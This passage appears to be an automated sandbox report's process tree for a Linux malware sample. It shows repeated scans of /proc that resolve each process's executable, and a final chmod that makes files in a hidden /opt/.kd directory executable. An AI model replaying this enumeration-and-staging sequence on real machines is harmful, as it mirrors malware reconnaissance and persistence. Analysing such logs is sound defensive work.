  PID:1128
- /bin/sed
  sed "s/ (deleted)\$//"
  2⤵
  PID:1132
- /bin/readlink
  readlink /proc/110/exe
  2⤵
  PID:1131
- /bin/readlink
  readlink /proc/1112/exe
  2⤵
  PID:1134
- /bin/sed
  sed "s/ (deleted)\$//"
  2⤵
  PID:1135
- /bin/sed
  sed "s/ (deleted)\$//"
  2⤵
  PID:1138
- /bin/readlink
  readlink /proc/1113/exe
  2⤵
  PID:1137
- /bin/sed
  sed "s/ (deleted)\$//"
  2⤵
  PID:1141
- /bin/readlink
  readlink /proc/1114/exe
  2⤵
  PID:1140
- /bin/sed
  sed "s/ (deleted)\$//"
  2⤵
  PID:1144
- /bin/readlink
  readlink /proc/12/exe
  2⤵
  PID:1143
- /bin/sed
  sed "s/ (deleted)\$//"
  2⤵
  PID:1147
- /bin/readlink
  readlink /proc/13/exe
  2⤵
  PID:1146
- /bin/readlink
  readlink /proc/138/exe
  2⤵
  PID:1149
- /bin/sed
  sed "s/ (deleted)\$//"
  2⤵
  PID:1150
- /bin/sed
  sed "s/ (deleted)\$//"
  2⤵
  PID:1153
- /bin/readlink
  readlink /proc/14/exe
  2⤵
  PID:1152
- /bin/sed
  sed "s/ (deleted)\$//"
  2⤵
  PID:1156
- /bin/readlink
  readlink /proc/142/exe
  2⤵
  PID:1155
- /bin/readlink
  readlink /proc/143/exe
  2⤵
  PID:1158
- /bin/sed
  sed "s/ (deleted)\$//"
  2⤵
  PID:1159
- /bin/readlink
  readlink /proc/15/exe
  2⤵
  PID:1161
- /bin/sed
  sed "s/ (deleted)\$//"
  2⤵
  PID:1162
- /bin/sed
  sed "s/ (deleted)\$//"
  2⤵
  PID:1165
- /bin/readlink
  readlink /proc/159/exe
  2⤵
  PID:1164
- /bin/sed
  sed "s/ (deleted)\$//"
  2⤵
  PID:1168
- /bin/readlink
  readlink /proc/16/exe
  2⤵
  PID:1167
- /bin/readlink
  readlink /proc/17/exe
  2⤵
  PID:1170
- /bin/sed
  sed "s/ (deleted)\$//"
  2⤵
  PID:1171
- /bin/sed
  sed "s/ (deleted)\$//"
  2⤵
  PID:1174
- /bin/readlink
  readlink /proc/170/exe
  2⤵
  PID:1173
- /bin/sed
  sed "s/ (deleted)\$//"
  2⤵
  PID:1177
- /bin/readlink
  readlink /proc/18/exe
  2⤵
  PID:1176
- /bin/sed
  sed "s/ (deleted)\$//"
  2⤵
  PID:1180
- /bin/readlink
  readlink /proc/19/exe
  2⤵
  PID:1179
- /bin/readlink
  readlink /proc/2/exe
  2⤵
  PID:1182
- /bin/sed
  sed "s/ (deleted)\$//"
  2⤵
  PID:1183
- /bin/sed
  sed "s/ (deleted)\$//"
  2⤵
  PID:1186
- /bin/readlink
  readlink /proc/20/exe
  2⤵
  PID:1185
- /bin/sed
  sed "s/ (deleted)\$//"
  2⤵
  PID:1189
- /bin/readlink
  readlink /proc/208/exe
  2⤵
  PID:1188
- /bin/sed
  sed "s/ (deleted)\$//"
  2⤵
  PID:1192
- /bin/readlink
  readlink /proc/21/exe
  2⤵
  PID:1191
- /bin/sed
  sed "s/ (deleted)\$//"
  2⤵
  - Reads runtime system information
  PID:1195
- /bin/readlink
  readlink /proc/22/exe
  2⤵
  PID:1194
- /bin/sed
  sed "s/ (deleted)\$//"
  2⤵
  PID:1198
- /bin/readlink
  readlink /proc/23/exe
  2⤵
  PID:1197
- /bin/sed
  sed "s/ (deleted)\$//"
  2⤵
  PID:1201
- /bin/readlink
  readlink /proc/231/exe
  2⤵
  PID:1200
- /bin/sed
  sed "s/ (deleted)\$//"
  2⤵
  PID:1204
- /bin/readlink
  readlink /proc/24/exe
  2⤵
  PID:1203
- /bin/sed
  sed "s/ (deleted)\$//"
  2⤵
  PID:1207
- /bin/readlink
  readlink /proc/25/exe
  2⤵
  PID:1206
- /bin/sed
  sed "s/ (deleted)\$//"
  2⤵
  - Reads runtime system information
  PID:1210
- /bin/readlink
  readlink /proc/26/exe
  2⤵
  PID:1209
- /bin/sed
  sed "s/ (deleted)\$//"
  2⤵
  PID:1213
- /bin/readlink
  readlink /proc/27/exe
  2⤵
  PID:1212
- /bin/sed
  sed "s/ (deleted)\$//"
  2⤵
  PID:1216
- /bin/readlink
  readlink /proc/28/exe
  2⤵
  PID:1215
- /bin/sed
  sed "s/ (deleted)\$//"
  2⤵
  PID:1219
- /bin/readlink
  readlink /proc/289/exe
  2⤵
  PID:1218
- /bin/sed
  sed "s/ (deleted)\$//"
  2⤵
  PID:1222
- /bin/readlink
  readlink /proc/29/exe
  2⤵
  PID:1221
- /bin/sed
  sed "s/ (deleted)\$//"
  2⤵
  PID:1225
- /bin/readlink
  readlink /proc/292/exe
  2⤵
  PID:1224
- /bin/sed
  sed "s/ (deleted)\$//"
  2⤵
  PID:1228
- /bin/readlink
  readlink /proc/293/exe
  2⤵
  PID:1227
- /bin/sed
  sed "s/ (deleted)\$//"
  2⤵
  PID:1231
- /bin/readlink
  readlink /proc/295/exe
  2⤵
  PID:1230
- /bin/sed
  sed "s/ (deleted)\$//"
  2⤵
  PID:1234
- /bin/readlink
  readlink /proc/3/exe
  2⤵
  PID:1233
- /bin/sed
  sed "s/ (deleted)\$//"
  2⤵
  PID:1237
- /bin/readlink
  readlink /proc/304/exe
  2⤵
  PID:1236
- /bin/sed
  sed "s/ (deleted)\$//"
  2⤵
  PID:1240
- /bin/readlink
  readlink /proc/308/exe
  2⤵
  PID:1239
- /bin/sed
  sed "s/ (deleted)\$//"
  2⤵
  PID:1243
- /bin/readlink
  readlink /proc/316/exe
  2⤵
  PID:1242
- /bin/sed
  sed "s/ (deleted)\$//"
  2⤵
  - Reads runtime system information
  PID:1246
- /bin/readlink
  readlink /proc/321/exe
  2⤵
  PID:1245
- /bin/sed
  sed "s/ (deleted)\$//"
  2⤵
  PID:1249
- /bin/readlink
  readlink /proc/325/exe
  2⤵
  PID:1248
- /bin/sed
  sed "s/ (deleted)\$//"
  2⤵
  PID:1252
- /bin/readlink
  readlink /proc/4/exe
  2⤵
  PID:1251
- /bin/readlink
  readlink /proc/41/exe
  2⤵
  PID:1254
- /bin/sed
  sed "s/ (deleted)\$//"
  2⤵
  PID:1255
- /bin/readlink
  readlink /proc/42/exe
  2⤵
  PID:1257
- /bin/sed
  sed "s/ (deleted)\$//"
  2⤵
  PID:1258
- /bin/readlink
  readlink /proc/43/exe
  2⤵
  PID:1260
- /bin/sed
  sed "s/ (deleted)\$//"
  2⤵
  PID:1261
- /bin/sed
  sed "s/ (deleted)\$//"
  2⤵
  PID:1264
- /bin/readlink
  readlink /proc/5/exe
  2⤵
  PID:1263
- /bin/sed
  sed "s/ (deleted)\$//"
  2⤵
  PID:1267
- /bin/readlink
  readlink /proc/567/exe
  2⤵
  PID:1266
- /bin/sed
  sed "s/ (deleted)\$//"
  2⤵
  PID:1270
- /bin/readlink
  readlink /proc/579/exe
  2⤵
  PID:1269
- /bin/sed
  sed "s/ (deleted)\$//"
  2⤵
  PID:1273
- /bin/readlink
  readlink /proc/583/exe
  2⤵
  PID:1272
- /bin/sed
  sed "s/ (deleted)\$//"
  2⤵
  PID:1276
- /bin/readlink
  readlink /proc/593/exe
  2⤵
  PID:1275
- /bin/sed
  sed "s/ (deleted)\$//"
  2⤵
  PID:1279
- /bin/readlink
  readlink /proc/594/exe
  2⤵
  PID:1278
- /bin/sed
  sed "s/ (deleted)\$//"
  2⤵
  PID:1282
- /bin/readlink
  readlink /proc/6/exe
  2⤵
  PID:1281
- /bin/sed
  sed "s/ (deleted)\$//"
  2⤵
  PID:1285
- /bin/readlink
  readlink /proc/635/exe
  2⤵
  PID:1284
- /bin/sed
  sed "s/ (deleted)\$//"
  2⤵
  PID:1288
- /bin/readlink
  readlink /proc/641/exe
  2⤵
  PID:1287
- /bin/sed
  sed "s/ (deleted)\$//"
  2⤵
  PID:1291
- /bin/readlink
  readlink /proc/644/exe
  2⤵
  PID:1290
- /bin/sed
  sed "s/ (deleted)\$//"
  2⤵
  PID:1294
- /bin/readlink
  readlink /proc/645/exe
  2⤵
  PID:1293
- /bin/sed
  sed "s/ (deleted)\$//"
  2⤵
  PID:1297
- /bin/readlink
  readlink /proc/646/exe
  2⤵
  PID:1296
- /bin/sed
  sed "s/ (deleted)\$//"
  2⤵
  PID:1300
- /bin/readlink
  readlink /proc/647/exe
  2⤵
  PID:1299
- /bin/sed
  sed "s/ (deleted)\$//"
  2⤵
  PID:1303
- /bin/readlink
  readlink /proc/662/exe
  2⤵
  PID:1302
- /bin/sed
  sed "s/ (deleted)\$//"
  2⤵
  PID:1306
- /bin/readlink
  readlink /proc/7/exe
  2⤵
  PID:1305
- /bin/sed
  sed "s/ (deleted)\$//"
  2⤵
  - Reads runtime system information
  PID:1309
- /bin/readlink
  readlink /proc/76/exe
  2⤵
  PID:1308
- /bin/sed
  sed "s/ (deleted)\$//"
  2⤵
  PID:1313
- /bin/readlink
  readlink /proc/8/exe
  2⤵
  PID:1312
- /bin/readlink
  readlink /proc/9/exe
  2⤵
  PID:1315
- /bin/sed
  sed "s/ (deleted)\$//"
  2⤵
  PID:1316
- /bin/readlink
  readlink /proc/98/exe
  2⤵
  PID:1318
- /bin/sed
  sed "s/ (deleted)\$//"
  2⤵
  PID:1319
- /bin/sleep
  sleep 1
  2⤵
  PID:1320
- /bin/grep
  grep -E "^[0-9]+\$"
  2⤵
  PID:1323
- /bin/ls
  ls /proc
  2⤵
  PID:1322
- /bin/sed
  sed "s/ (deleted)\$//"
  2⤵
  PID:1326
- /bin/readlink
  readlink /proc/1/exe
  2⤵
  PID:1325
- /bin/readlink
  readlink /proc/10/exe
  2⤵
  PID:1328
- /bin/sed
  sed "s/ (deleted)\$//"
  2⤵
  PID:1329
- /bin/readlink
  readlink /proc/107/exe
  2⤵
  PID:1331
- /bin/sed
  sed "s/ (deleted)\$//"
  2⤵
  PID:1332
- /bin/readlink
  readlink /proc/109/exe
  2⤵
  PID:1334
- /bin/sed
  sed "s/ (deleted)\$//"
  2⤵
  PID:1335
- /bin/sed
  sed "s/ (deleted)\$//"
  2⤵
  PID:1338
- /bin/readlink
  readlink /proc/11/exe
  2⤵
  PID:1337
- /bin/readlink
  readlink /proc/110/exe
  2⤵
  PID:1340
- /bin/sed
  sed "s/ (deleted)\$//"
  2⤵
  PID:1341
- /bin/sed
  sed "s/ (deleted)\$//"
  2⤵
  PID:1344
- /bin/readlink
  readlink /proc/12/exe
  2⤵
  PID:1343
- /bin/sed
  sed "s/ (deleted)\$//"
  2⤵
  PID:1347
- /bin/readlink
  readlink /proc/13/exe
  2⤵
  PID:1346
- /bin/sed
  sed "s/ (deleted)\$//"
  2⤵
  PID:1350
- /bin/readlink
  readlink /proc/1310/exe
  2⤵
  PID:1349
- /bin/sed
  sed "s/ (deleted)\$//"
  2⤵
  PID:1353
- /bin/readlink
  readlink /proc/1321/exe
  2⤵
  PID:1352
- /bin/sed
  sed "s/ (deleted)\$//"
  2⤵
  PID:1356
- /bin/readlink
  readlink /proc/1322/exe
  2⤵
  PID:1355
- /bin/sed
  sed "s/ (deleted)\$//"
  2⤵
  PID:1359
- /bin/readlink
  readlink /proc/1323/exe
  2⤵
  PID:1358
- /bin/readlink
  readlink /proc/138/exe
  2⤵
  PID:1361
- /bin/sed
  sed "s/ (deleted)\$//"
  2⤵
  PID:1362
- /bin/sed
  sed "s/ (deleted)\$//"
  2⤵
  PID:1365
- /bin/readlink
  readlink /proc/14/exe
  2⤵
  PID:1364
- /bin/sed
  sed "s/ (deleted)\$//"
  2⤵
  PID:1368
- /bin/readlink
  readlink /proc/142/exe
  2⤵
  PID:1367
- /bin/sed
  sed "s/ (deleted)\$//"
  2⤵
  PID:1371
- /bin/readlink
  readlink /proc/143/exe
  2⤵
  PID:1370
- /bin/readlink
  readlink /proc/15/exe
  2⤵
  PID:1374
- /bin/sed
  sed "s/ (deleted)\$//"
  2⤵
  PID:1375
- /bin/sed
  sed "s/ (deleted)\$//"
  2⤵
  PID:1378
- /bin/readlink
  readlink /proc/159/exe
  2⤵
  PID:1377
- /bin/sed
  sed "s/ (deleted)\$//"
  2⤵
  PID:1381
- /bin/readlink
  readlink /proc/16/exe
  2⤵
  PID:1380
- /bin/sed
  sed "s/ (deleted)\$//"
  2⤵
  PID:1384
- /bin/readlink
  readlink /proc/17/exe
  2⤵
  PID:1383
- /bin/sed
  sed "s/ (deleted)\$//"
  2⤵
  PID:1387
- /bin/readlink
  readlink /proc/170/exe
  2⤵
  PID:1386
- /bin/readlink
  readlink /proc/18/exe
  2⤵
  PID:1389
- /bin/sed
  sed "s/ (deleted)\$//"
  2⤵
  PID:1390
- /bin/sed
  sed "s/ (deleted)\$//"
  2⤵
  PID:1394
- /bin/readlink
  readlink /proc/19/exe
  2⤵
  PID:1393
- /bin/sed
  sed "s/ (deleted)\$//"
  2⤵
  PID:1397
- /bin/readlink
  readlink /proc/2/exe
  2⤵
  PID:1396
- /bin/sed
  sed "s/ (deleted)\$//"
  2⤵
  PID:1400
- /bin/readlink
  readlink /proc/20/exe
  2⤵
  PID:1399
- /bin/readlink
  readlink /proc/208/exe
  2⤵
  PID:1402
- /bin/sed
  sed "s/ (deleted)\$//"
  2⤵
  PID:1403
- /bin/sed
  sed "s/ (deleted)\$//"
  2⤵
  PID:1406
- /bin/readlink
  readlink /proc/21/exe
  2⤵
  PID:1405
- /bin/sed
  sed "s/ (deleted)\$//"
  2⤵
  PID:1409
- /bin/readlink
  readlink /proc/22/exe
  2⤵
  PID:1408
- /bin/sed
  sed "s/ (deleted)\$//"
  2⤵
  PID:1412
- /bin/readlink
  readlink /proc/23/exe
  2⤵
  PID:1411
- /bin/sed
  sed "s/ (deleted)\$//"
  2⤵
  PID:1415
- /bin/readlink
  readlink /proc/231/exe
  2⤵
  PID:1414
- /bin/sed
  sed "s/ (deleted)\$//"
  2⤵
  PID:1418
- /bin/readlink
  readlink /proc/24/exe
  2⤵
  PID:1417
- /bin/sed
  sed "s/ (deleted)\$//"
  2⤵
  PID:1421
- /bin/readlink
  readlink /proc/25/exe
  2⤵
  PID:1420
- /bin/sed
  sed "s/ (deleted)\$//"
  2⤵
  PID:1424
- /bin/readlink
  readlink /proc/26/exe
  2⤵
  PID:1423
- /bin/sed
  sed "s/ (deleted)\$//"
  2⤵
  PID:1427
- /bin/readlink
  readlink /proc/27/exe
  2⤵
  PID:1426
- /bin/readlink
  readlink /proc/28/exe
  2⤵
  PID:1429
- /bin/sed
  sed "s/ (deleted)\$//"
  2⤵
  PID:1430
- /bin/sed
  sed "s/ (deleted)\$//"
  2⤵
  PID:1433
- /bin/readlink
  readlink /proc/289/exe
  2⤵
  PID:1432
- /bin/sed
  sed "s/ (deleted)\$//"
  2⤵
  PID:1436
- /bin/readlink
  readlink /proc/29/exe
  2⤵
  PID:1435
- /bin/sed
  sed "s/ (deleted)\$//"
  2⤵
  PID:1439
- /bin/readlink
  readlink /proc/292/exe
  2⤵
  PID:1438
- /bin/sed
  sed "s/ (deleted)\$//"
  2⤵
  PID:1442
- /bin/readlink
  readlink /proc/293/exe
  2⤵
  PID:1441
- /bin/readlink
  readlink /proc/295/exe
  2⤵
  PID:1444
- /bin/sed
  sed "s/ (deleted)\$//"
  2⤵
  PID:1445
- /bin/sed
  sed "s/ (deleted)\$//"
  2⤵
  PID:1448
- /bin/readlink
  readlink /proc/3/exe
  2⤵
  PID:1447
- /bin/sed
  sed "s/ (deleted)\$//"
  2⤵
  PID:1451
- /bin/readlink
  readlink /proc/304/exe
  2⤵
  PID:1450
- /bin/sed
  sed "s/ (deleted)\$//"
  2⤵
  PID:1454
- /bin/readlink
  readlink /proc/308/exe
  2⤵
  PID:1453
- /bin/sed
  sed "s/ (deleted)\$//"
  2⤵
  PID:1457
- /bin/readlink
  readlink /proc/316/exe
  2⤵
  PID:1456
- /bin/sed
  sed "s/ (deleted)\$//"
  2⤵
  PID:1460
- /bin/readlink
  readlink /proc/321/exe
  2⤵
  PID:1459
- /bin/sed
  sed "s/ (deleted)\$//"
  2⤵
  PID:1463
- /bin/readlink
  readlink /proc/325/exe
  2⤵
  PID:1462
- /bin/sed
  sed "s/ (deleted)\$//"
  2⤵
  PID:1466
- /bin/readlink
  readlink /proc/4/exe
  2⤵
  PID:1465
- /bin/sed
  sed "s/ (deleted)\$//"
  2⤵
  PID:1469
- /bin/readlink
  readlink /proc/41/exe
  2⤵
  PID:1468
- /bin/sed
  sed "s/ (deleted)\$//"
  2⤵
  PID:1472
- /bin/readlink
  readlink /proc/42/exe
  2⤵
  PID:1471
- /bin/readlink
  readlink /proc/43/exe
  2⤵
  PID:1474
- /bin/sed
  sed "s/ (deleted)\$//"
  2⤵
  PID:1475
- /bin/sed
  sed "s/ (deleted)\$//"
  2⤵
  PID:1478
- /bin/readlink
  readlink /proc/5/exe
  2⤵
  PID:1477
- /bin/sed
  sed "s/ (deleted)\$//"
  2⤵
  PID:1481
- /bin/readlink
  readlink /proc/567/exe
  2⤵
  PID:1480
- /bin/sed
  sed "s/ (deleted)\$//"
  2⤵
  PID:1484
- /bin/readlink
  readlink /proc/579/exe
  2⤵
  PID:1483
- /bin/sed
  sed "s/ (deleted)\$//"
  2⤵
  PID:1487
- /bin/readlink
  readlink /proc/583/exe
  2⤵
  PID:1486
- /bin/sed
  sed "s/ (deleted)\$//"
  2⤵
  PID:1490
- /bin/readlink
  readlink /proc/593/exe
  2⤵
  PID:1489
- /bin/readlink
  readlink /proc/594/exe
  2⤵
  PID:1492
- /bin/sed
  sed "s/ (deleted)\$//"
  2⤵
  PID:1493
- /bin/sed
  sed "s/ (deleted)\$//"
  2⤵
  PID:1496
- /bin/readlink
  readlink /proc/6/exe
  2⤵
  PID:1495
- /bin/sed
  sed "s/ (deleted)\$//"
  2⤵
  PID:1499
- /bin/readlink
  readlink /proc/635/exe
  2⤵
  PID:1498
- /bin/readlink
  readlink /proc/641/exe
  2⤵
  PID:1501
- /bin/sed
  sed "s/ (deleted)\$//"
  2⤵
  PID:1502
- /bin/sed
  sed "s/ (deleted)\$//"
  2⤵
  PID:1505
- /bin/readlink
  readlink /proc/644/exe
  2⤵
  PID:1504
- /bin/sed
  sed "s/ (deleted)\$//"
  2⤵
  PID:1508
- /bin/readlink
  readlink /proc/645/exe
  2⤵
  PID:1507
- /bin/sed
  sed "s/ (deleted)\$//"
  2⤵
  PID:1511
- /bin/readlink
  readlink /proc/646/exe
  2⤵
  PID:1510
- /bin/sed
  sed "s/ (deleted)\$//"
  2⤵
  PID:1514
- /bin/readlink
  readlink /proc/647/exe
  2⤵
  PID:1513
- /bin/sed
  sed "s/ (deleted)\$//"
  2⤵
  PID:1517
- /bin/readlink
  readlink /proc/662/exe
  2⤵
  PID:1516
- /bin/sed
  sed "s/ (deleted)\$//"
  2⤵
  PID:1520
- /bin/readlink
  readlink /proc/7/exe
  2⤵
  PID:1519
- /bin/sed
  sed "s/ (deleted)\$//"
  2⤵
  PID:1523
- /bin/readlink
  readlink /proc/76/exe
  2⤵
  PID:1522
- /bin/sed
  sed "s/ (deleted)\$//"
  2⤵
  PID:1526
- /bin/readlink
  readlink /proc/8/exe
  2⤵
  PID:1525
- /bin/readlink
  readlink /proc/9/exe
  2⤵
  PID:1528
- /bin/sed
  sed "s/ (deleted)\$//"
  2⤵
  PID:1529
- /bin/sed
  sed "s/ (deleted)\$//"
  2⤵
  PID:1532
- /bin/readlink
  readlink /proc/98/exe
  2⤵
  PID:1531
- /bin/grep
  grep -E "^[0-9]+\$"
  2⤵
  PID:1535
- /bin/ls
  ls /proc
  2⤵
  PID:1534
- /bin/sed
  sed "s/ (deleted)\$//"
  2⤵
  PID:1538
- /bin/readlink
  readlink /proc/1/exe
  2⤵
  PID:1537
- /bin/sed
  sed "s/ (deleted)\$//"
  2⤵
  PID:1541
- /bin/readlink
  readlink /proc/10/exe
  2⤵
  PID:1540
- /bin/readlink
  readlink /proc/107/exe
  2⤵
  PID:1543
- /bin/sed
  sed "s/ (deleted)\$//"
  2⤵
  PID:1544
- /bin/sed
  sed "s/ (deleted)\$//"
  2⤵
  PID:1547
- /bin/readlink
  readlink /proc/109/exe
  2⤵
  PID:1546
- /bin/sed
  sed "s/ (deleted)\$//"
  2⤵
  PID:1550
- /bin/readlink
  readlink /proc/11/exe
  2⤵
  PID:1549
- /bin/sed
  sed "s/ (deleted)\$//"
  2⤵
  PID:1553
- /bin/readlink
  readlink /proc/110/exe
  2⤵
  PID:1552
- /bin/sed
  sed "s/ (deleted)\$//"
  2⤵
  PID:1556
- /bin/readlink
  readlink /proc/12/exe
  2⤵
  PID:1555
- /bin/sed
  sed "s/ (deleted)\$//"
  2⤵
  PID:1559
- /bin/readlink
  readlink /proc/13/exe
  2⤵
  PID:1558
- /bin/readlink
  readlink /proc/1310/exe
  2⤵
  PID:1561
- /bin/sed
  sed "s/ (deleted)\$//"
  2⤵
  PID:1562
- /bin/sed
  sed "s/ (deleted)\$//"
  2⤵
  PID:1565
- /bin/readlink
  readlink /proc/138/exe
  2⤵
  PID:1564
- /bin/sed
  sed "s/ (deleted)\$//"
  2⤵
  PID:1568
- /bin/readlink
  readlink /proc/1391/exe
  2⤵
  PID:1567
- /bin/sed
  sed "s/ (deleted)\$//"
  2⤵
  PID:1571
- /bin/readlink
  readlink /proc/14/exe
  2⤵
  PID:1570
- /bin/sed
  sed "s/ (deleted)\$//"
  2⤵
  - Reads runtime system information
  PID:1574
- /bin/readlink
  readlink /proc/142/exe
  2⤵
  PID:1573
- /bin/readlink
  readlink /proc/143/exe
  2⤵
  PID:1576
- /bin/sed
  sed "s/ (deleted)\$//"
  2⤵
  PID:1577
- /bin/sed
  sed "s/ (deleted)\$//"
  2⤵
  PID:1580
- /bin/readlink
  readlink /proc/15/exe
  2⤵
  PID:1579
- /bin/sed
  sed "s/ (deleted)\$//"
  2⤵
  PID:1583
- /bin/readlink
  readlink /proc/1533/exe
  2⤵
  PID:1582
- /bin/sed
  sed "s/ (deleted)\$//"
  2⤵
  PID:1586
- /bin/readlink
  readlink /proc/1534/exe
  2⤵
  PID:1585
- /bin/sed
  sed "s/ (deleted)\$//"
  2⤵
  PID:1589
- /bin/readlink
  readlink /proc/1535/exe
  2⤵
  PID:1588
- /bin/sed
  sed "s/ (deleted)\$//"
  2⤵
  PID:1592
- /bin/readlink
  readlink /proc/159/exe
  2⤵
  PID:1591
- /bin/sed
  sed "s/ (deleted)\$//"
  2⤵
  PID:1595
- /bin/readlink
  readlink /proc/16/exe
  2⤵
  PID:1594
- /bin/sed
  sed "s/ (deleted)\$//"
  2⤵
  PID:1598
- /bin/readlink
  readlink /proc/17/exe
  2⤵
  PID:1597
- /bin/sed
  sed "s/ (deleted)\$//"
  2⤵
  PID:1601
- /bin/readlink
  readlink /proc/170/exe
  2⤵
  PID:1600
- /bin/sed
  sed "s/ (deleted)\$//"
  2⤵
  PID:1604
- /bin/readlink
  readlink /proc/18/exe
  2⤵
  PID:1603
- /bin/sed
  sed "s/ (deleted)\$//"
  2⤵
  PID:1607
- /bin/readlink
  readlink /proc/19/exe
  2⤵
  PID:1606
- /bin/sed
  sed "s/ (deleted)\$//"
  2⤵
  PID:1610
- /bin/readlink
  readlink /proc/2/exe
  2⤵
  PID:1609
- /bin/sed
  sed "s/ (deleted)\$//"
  2⤵
  PID:1613
- /bin/readlink
  readlink /proc/20/exe
  2⤵
  PID:1612
- /bin/sed
  sed "s/ (deleted)\$//"
  2⤵
  PID:1616
- /bin/readlink
  readlink /proc/208/exe
  2⤵
  PID:1615
- /bin/sed
  sed "s/ (deleted)\$//"
  2⤵
  PID:1619
- /bin/readlink
  readlink /proc/21/exe
  2⤵
  PID:1618
- /bin/sed
  sed "s/ (deleted)\$//"
  2⤵
  PID:1622
- /bin/readlink
  readlink /proc/22/exe
  2⤵
  PID:1621
- /bin/sed
  sed "s/ (deleted)\$//"
  2⤵
  PID:1625
- /bin/readlink
  readlink /proc/23/exe
  2⤵
  PID:1624
- /bin/sed
  sed "s/ (deleted)\$//"
  2⤵
  PID:1628
- /bin/readlink
  readlink /proc/231/exe
  2⤵
  PID:1627
- /bin/sed
  sed "s/ (deleted)\$//"
  2⤵
  PID:1631
- /bin/readlink
  readlink /proc/24/exe
  2⤵
  PID:1630
- /bin/readlink
  readlink /proc/25/exe
  2⤵
  PID:1633
- /bin/sed
  sed "s/ (deleted)\$//"
  2⤵
  PID:1634
- /bin/sed
  sed "s/ (deleted)\$//"
  2⤵
  PID:1637
- /bin/readlink
  readlink /proc/26/exe
  2⤵
  PID:1636
- /bin/sed
  sed "s/ (deleted)\$//"
  2⤵
  PID:1640
- /bin/readlink
  readlink /proc/27/exe
  2⤵
  PID:1639
- /bin/sed
  sed "s/ (deleted)\$//"
  2⤵
  PID:1643
- /bin/readlink
  readlink /proc/28/exe
  2⤵
  PID:1642
- /bin/readlink
  readlink /proc/289/exe
  2⤵
  PID:1645
- /bin/sed
  sed "s/ (deleted)\$//"
  2⤵
  - Reads runtime system information
  PID:1646
- /bin/readlink
  readlink /proc/29/exe
  2⤵
  PID:1648
- /bin/sed
  sed "s/ (deleted)\$//"
  2⤵
  PID:1649
- /bin/sed
  sed "s/ (deleted)\$//"
  2⤵
  PID:1652
- /bin/readlink
  readlink /proc/292/exe
  2⤵
  PID:1651
- /bin/readlink
  readlink /proc/293/exe
  2⤵
  PID:1654
- /bin/sed
  sed "s/ (deleted)\$//"
  2⤵
  PID:1655
- /bin/sed
  sed "s/ (deleted)\$//"
  2⤵
  PID:1658
- /bin/readlink
  readlink /proc/295/exe
  2⤵
  PID:1657
- /bin/sed
  sed "s/ (deleted)\$//"
  2⤵
  PID:1661
- /bin/readlink
  readlink /proc/3/exe
  2⤵
  PID:1660
- /bin/sed
  sed "s/ (deleted)\$//"
  2⤵
  PID:1664
- /bin/readlink
  readlink /proc/304/exe
  2⤵
  PID:1663
- /bin/sed
  sed "s/ (deleted)\$//"
  2⤵
  PID:1667
- /bin/readlink
  readlink /proc/308/exe
  2⤵
  PID:1666
- /bin/sed
  sed "s/ (deleted)\$//"
  2⤵
  PID:1670
- /bin/readlink
  readlink /proc/316/exe
  2⤵
  PID:1669
- /bin/sed
  sed "s/ (deleted)\$//"
  2⤵
  PID:1673
- /bin/readlink
  readlink /proc/321/exe
  2⤵
  PID:1672
- /bin/sed
  sed "s/ (deleted)\$//"
  2⤵
  PID:1676
- /bin/readlink
  readlink /proc/325/exe
  2⤵
  PID:1675
- /bin/sed
  sed "s/ (deleted)\$//"
  2⤵
  PID:1679
- /bin/readlink
  readlink /proc/4/exe
  2⤵
  PID:1678
- /bin/sed
  sed "s/ (deleted)\$//"
  2⤵
  PID:1682
- /bin/readlink
  readlink /proc/41/exe
  2⤵
  PID:1681
- /bin/sed
  sed "s/ (deleted)\$//"
  2⤵
  PID:1685
- /bin/readlink
  readlink /proc/42/exe
  2⤵
  PID:1684
- /bin/sed
  sed "s/ (deleted)\$//"
  2⤵
  PID:1688
- /bin/readlink
  readlink /proc/43/exe
  2⤵
  PID:1687
- /bin/sed
  sed "s/ (deleted)\$//"
  2⤵
  PID:1691
- /bin/readlink
  readlink /proc/5/exe
  2⤵
  PID:1690
- /bin/sed
  sed "s/ (deleted)\$//"
  2⤵
  PID:1694
- /bin/readlink
  readlink /proc/567/exe
  2⤵
  PID:1693
- /bin/readlink
  readlink /proc/579/exe
  2⤵
  PID:1696
- /bin/sed
  sed "s/ (deleted)\$//"
  2⤵
  PID:1697
- /bin/sed
  sed "s/ (deleted)\$//"
  2⤵
  PID:1700
- /bin/readlink
  readlink /proc/583/exe
  2⤵
  PID:1699
- /bin/sed
  sed "s/ (deleted)\$//"
  2⤵
  PID:1703
- /bin/readlink
  readlink /proc/593/exe
  2⤵
  PID:1702
- /bin/sed
  sed "s/ (deleted)\$//"
  2⤵
  PID:1706
- /bin/readlink
  readlink /proc/594/exe
  2⤵
  PID:1705
- /bin/sed
  sed "s/ (deleted)\$//"
  2⤵
  PID:1709
- /bin/readlink
  readlink /proc/6/exe
  2⤵
  PID:1708
- /bin/sed
  sed "s/ (deleted)\$//"
  2⤵
  PID:1712
- /bin/readlink
  readlink /proc/635/exe
  2⤵
  PID:1711
- /bin/sed
  sed "s/ (deleted)\$//"
  2⤵
  PID:1715
- /bin/readlink
  readlink /proc/644/exe
  2⤵
  PID:1714
- /bin/sed
  sed "s/ (deleted)\$//"
  2⤵
  PID:1718
- /bin/readlink
  readlink /proc/645/exe
  2⤵
  PID:1717
- /bin/sed
  sed "s/ (deleted)\$//"
  2⤵
  PID:1721
- /bin/readlink
  readlink /proc/646/exe
  2⤵
  PID:1720
- /bin/sed
  sed "s/ (deleted)\$//"
  2⤵
  PID:1724
- /bin/readlink
  readlink /proc/647/exe
  2⤵
  PID:1723
- /bin/sed
  sed "s/ (deleted)\$//"
  2⤵
  PID:1727
- /bin/readlink
  readlink /proc/662/exe
  2⤵
  PID:1726
- /bin/sed
  sed "s/ (deleted)\$//"
  2⤵
  PID:1730
- /bin/readlink
  readlink /proc/7/exe
  2⤵
  PID:1729
- /bin/sed
  sed "s/ (deleted)\$//"
  2⤵
  PID:1733
- /bin/readlink
  readlink /proc/76/exe
  2⤵
  PID:1732
- /bin/sed
  sed "s/ (deleted)\$//"
  2⤵
  PID:1736
- /bin/readlink
  readlink /proc/8/exe
  2⤵
  PID:1735
- /bin/readlink
  readlink /proc/9/exe
  2⤵
  PID:1738
- /bin/sed
  sed "s/ (deleted)\$//"
  2⤵
  - Reads runtime system information
  PID:1739
- /bin/sed
  sed "s/ (deleted)\$//"
  2⤵
  PID:1742
- /bin/readlink
  readlink /proc/98/exe
  2⤵
  PID:1741
- /bin/chmod
  chmod 755 /opt/.kd/ccd /opt/.kd/pg_wal
  2⤵
  - File and Directory Permissions Modification
  PID:1743
